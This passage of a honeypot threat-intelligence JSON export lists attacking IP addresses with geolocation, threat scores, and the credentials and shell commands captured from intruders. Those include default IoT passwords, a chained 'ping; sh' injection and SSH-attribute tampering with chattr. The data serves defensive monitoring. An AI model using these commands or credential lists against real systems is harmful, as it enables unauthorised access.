        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 42
      }
    },
    "117.207.36.109": {
      "attack_count": 140,
      "first_seen": "2026-05-19T18:50:37.788Z",
      "last_seen": "2026-05-20T06:32:09.780Z",
      "sessions": 70,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "N\u0101gaur",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 23.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 210,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:50:37.788000+00:00",
        "last_seen_30d": "2026-05-20T06:33:19.351000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 140,
        "Suricata": 70
      }
    },
    "189.165.70.148": {
      "attack_count": 136,
      "first_seen": "2026-05-11T06:45:15.870Z",
      "last_seen": "2026-05-31T12:43:48.294Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "guest",
        "",
        "111111",
        "123",
        "FIELD",
        "MGR",
        "ONTUSER",
        "PlcmSpIp",
        "WP",
        "adtec",
        "bin",
        "cjadmin",
        "default",
        "dlink",
        "none",
        "ont",
        "rapport",
        "sh"
      ],
      "passwords_attempted": [
        "12345",
        "admin",
        "default",
        "root",
        "",
        "GM8182",
        "P@55w0rd!",
        "root123",
        "000000",
        "1",
        "1111",
        "111111",
        "123",
        "1234567890",
        "20150602",
        "666666",
        "7ujMko0vizxv",
        "BRIDGE",
        "CJHV_ap_0601",
        "Chameleon"
      ],
      "commands_executed": [
        "shell",
        "system",
        "",
        "/bin/busybox cat /proc/self/exe || cat /proc/self/exe",
        "cat /proc/self/exe",
        "enable",
        "ping; sh",
        "sh"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.success",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Puebla City",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 51.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.7,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T06:45:15.870000+00:00",
        "last_seen_30d": "2026-05-31T12:44:58.202000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 136,
        "Suricata": 11
      }
    },
    "102.37.220.188": {
      "attack_count": 94,
      "first_seen": "2026-05-30T08:26:10.850Z",
      "last_seen": "2026-05-30T08:58:15.275Z",
      "sessions": 47,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Johannesburg",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 33.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 167,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T06:09:13.975000+00:00",
        "last_seen_30d": "2026-05-30T08:59:17.987000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 73
      }
    },
    "189.50.62.95": {
      "attack_count": 94,
      "first_seen": "2026-05-20T18:40:49.931Z",
      "last_seen": "2026-05-21T06:30:25.159Z",
      "sessions": 47,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Serra do Ramalho",
      "asn": 53005,
      "as_org": "REDE CONNECT TELECOMUNICACOES LTDA",
      "threat_score": 23.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 141,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:40:49.931000+00:00",
        "last_seen_30d": "2026-05-21T06:31:30.713000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 47
      }
    },
    "78.40.107.2": {
      "attack_count": 92,
      "first_seen": "2026-05-22T21:00:49.862Z",
      "last_seen": "2026-05-23T07:39:50.807Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Georgia",
      "country_code": "GE",
      "city": "Tbilisi",
      "asn": 49628,
      "as_org": "LLC Skytel",
      "threat_score": 28.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.0,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 157,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:41:47.709000+00:00",
        "last_seen_30d": "2026-05-23T07:41:00.030000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 92,
        "Suricata": 65
      }
    },
    "34.79.44.138": {
      "attack_count": 71,
      "first_seen": "2026-05-10T08:49:44.064Z",
      "last_seen": "2026-05-10T08:50:45.067Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 443",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T08:49:44.064000+00:00",
        "last_seen_30d": "2026-05-10T08:51:52.454000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 41
      }
    },
    "124.121.31.182": {
      "attack_count": 68,
      "first_seen": "2026-05-06T01:11:15.837Z",
      "last_seen": "2026-05-06T01:46:47.357Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "developer",
        "fastuser",
        "ftpuser1",
        "ftpuser3"
      ],
      "passwords_attempted": [
        "111",
        "12",
        "12345",
        "345gs5662d34",
        "@admin123",
        "admin13",
        "digital@123",
        "fastuser",
        "ftpuser3",
        "p@ssw0Rd",
        "qwe",
        "toor"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Pak Kret",
      "asn": 17552,
      "as_org": "True Online",
      "threat_score": 5.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 97,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T01:11:15.837000+00:00",
        "last_seen_30d": "2026-05-06T01:47:51.821000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 29
      }
    },
    "137.59.54.34": {
      "attack_count": 60,
      "first_seen": "2026-05-03T07:10:04.854Z",
      "last_seen": "2026-05-31T05:57:34.794Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 133694,
      "as_org": "EMAX GLOBAL MEDIA PVT. LTD",
      "threat_score": 54.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.5,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T07:10:04.854000+00:00",
        "last_seen_30d": "2026-05-31T05:58:42.215000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 30
      }
    },
    "52.146.20.92": {
      "attack_count": 54,
      "first_seen": "2026-05-02T12:48:13.506Z",
      "last_seen": "2026-05-03T00:39:29.939Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 149,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T12:48:13.506000+00:00",
        "last_seen_30d": "2026-05-03T00:40:33.057000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Suricata": 95,
        "Cowrie": 54
      }
    },
    "188.132.199.206": {
      "attack_count": 52,
      "first_seen": "2026-05-02T22:13:05.518Z",
      "last_seen": "2026-05-02T22:42:46.896Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": null,
      "asn": 48678,
      "as_org": "PENTECH BILISIM TEKNOLOJILERI SANAYI VE TICARET LIMITED SIRKETi",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 81,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T22:13:05.518000+00:00",
        "last_seen_30d": "2026-05-02T22:43:52.833000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 52,
        "Suricata": 29
      }
    },
    "51.79.177.223": {
      "attack_count": 48,
      "first_seen": "2026-05-05T00:56:04.317Z",
      "last_seen": "2026-05-31T23:39:28.261Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 52.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.5,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:56:04.317000+00:00",
        "last_seen_30d": "2026-05-31T23:40:28.692000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 24
      }
    },
    "27.29.167.28": {
      "attack_count": 44,
      "first_seen": "2026-05-20T00:15:04.167Z",
      "last_seen": "2026-05-20T02:39:50.782Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 66,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T00:15:04.167000+00:00",
        "last_seen_30d": "2026-05-20T02:41:00.482000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 22
      }
    },
    "119.96.193.72": {
      "attack_count": 43,
      "first_seen": "2026-05-23T13:06:29.923Z",
      "last_seen": "2026-05-23T14:03:25.816Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "appuser",
        "aroot",
        "dev",
        "www-data"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "123456@abc",
        "345gs5662d34",
        "Yr123456",
        "appuser123",
        "aroot"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58563,
      "as_org": "CHINANET Hubei province network",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 75,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T13:06:29.923000+00:00",
        "last_seen_30d": "2026-05-23T14:13:30.495000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 43,
        "Suricata": 32
      }
    },
    "104.249.62.168": {
      "attack_count": 36,
      "first_seen": "2026-05-14T00:53:06.815Z",
      "last_seen": "2026-05-17T15:10:37.752Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Bend",
      "asn": 397423,
      "as_org": "Tier.Net Technologies LLC",
      "threat_score": 16.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T00:53:06.815000+00:00",
        "last_seen_30d": "2026-05-17T15:11:43.832000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 19
      }
    },
    "192.3.127.40": {
      "attack_count": 36,
      "first_seen": "2026-05-14T10:50:29.885Z",
      "last_seen": "2026-05-31T06:40:23.195Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 43.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.2,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T10:50:29.885000+00:00",
        "last_seen_30d": "2026-05-31T06:41:32.183000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "31.57.216.11": {
      "attack_count": 34,
      "first_seen": "2026-05-08T09:51:26.115Z",
      "last_seen": "2026-05-17T06:58:20.726Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "service",
        "support"
      ],
      "passwords_attempted": [
        "admin",
        "nPSpP4PBW0",
        "service",
        "support"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": null,
      "asn": 36680,
      "as_org": "Netiface LLC",
      "threat_score": 34.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.9,
        "persistence": 12.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 62,
        "days_active_30d": 15,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-08T09:51:26.115000+00:00",
        "last_seen_30d": "2026-05-22T02:41:34.617000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 26,
        "Honeytrap": 2
      }
    },
    "175.107.237.169": {
      "attack_count": 32,
      "first_seen": "2026-05-13T11:19:50.815Z",
      "last_seen": "2026-05-13T11:23:39.240Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T11:19:50.815000+00:00",
        "last_seen_30d": "2026-05-13T11:24:43.165000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 17
      }
    },
    "95.217.40.176": {
      "attack_count": 30,
      "first_seen": "2026-05-19T02:31:41.179Z",
      "last_seen": "2026-05-19T17:40:59.430Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T02:31:41.179000+00:00",
        "last_seen_30d": "2026-05-19T17:42:00.627000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "207.180.221.143": {
      "attack_count": 24,
      "first_seen": "2026-05-13T10:00:36.689Z",
      "last_seen": "2026-05-29T12:19:14.534Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 37.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T10:00:36.689000+00:00",
        "last_seen_30d": "2026-05-29T12:20:24.547000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "176.65.139.161": {
      "attack_count": 18,
      "first_seen": "2026-05-22T13:39:58.588Z",
      "last_seen": "2026-05-22T13:40:17.305Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "user"
      ],
      "passwords_attempted": [
        "admin",
        "root",
        "user"
      ],
      "commands_executed": [
        "./",
        "/bin/busybox TEST",
        "cat /proc",
        "echo SHELL_TEST"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 31.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.0,
        "persistence": 17.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 21,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T19:58:30.120000+00:00",
        "last_seen_30d": "2026-05-22T13:41:26.932000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 7
      }
    },
    "23.94.184.100": {
      "attack_count": 18,
      "first_seen": "2026-05-05T04:32:46.338Z",
      "last_seen": "2026-05-11T20:14:04.342Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 10.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T04:32:46.338000+00:00",
        "last_seen_30d": "2026-05-11T20:15:11.520000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "64.62.197.122": {
      "attack_count": 18,
      "first_seen": "2026-05-03T07:04:08.624Z",
      "last_seen": "2026-05-23T01:39:47.303Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 293,
        "days_active_30d": 30,
        "ports_targeted_30d": 71,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T04:23:34+00:00",
        "last_seen_30d": "2026-05-31T14:46:00.935000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 179,
        "Honeytrap": 72,
        "Cowrie": 18,
        "Ciscoasa": 13,
        "Dionaea": 6,
        "ConPot": 4,
        "Ipphoney": 1
      }
    },
    "167.57.106.60": {
      "attack_count": 16,
      "first_seen": "2026-05-07T19:11:39.255Z",
      "last_seen": "2026-05-07T19:21:55.690Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uruguay",
      "country_code": "UY",
      "city": "Montevideo",
      "asn": 6057,
      "as_org": "Administracion Nacional de Telecomunicaciones",
      "threat_score": 5.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T19:11:39.255000+00:00",
        "last_seen_30d": "2026-05-07T19:22:58.366000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 10
      }
    },
    "41.63.63.211": {
      "attack_count": 16,
      "first_seen": "2026-05-15T15:36:52.826Z",
      "last_seen": "2026-05-31T01:16:38.864Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Zambia",
      "country_code": "ZM",
      "city": "Lusaka",
      "asn": 37532,
      "as_org": "ZAMREN",
      "threat_score": 52.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.3,
        "persistence": 14.2,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 17,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-15T15:36:52.826000+00:00",
        "last_seen_30d": "2026-05-31T01:17:43.562000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Cowrie": 16,
        "Honeytrap": 1
      }
    },
    "65.49.1.38": {
      "attack_count": 14,
      "first_seen": "2026-05-03T10:07:00.539Z",
      "last_seen": "2026-05-30T07:06:35.505Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
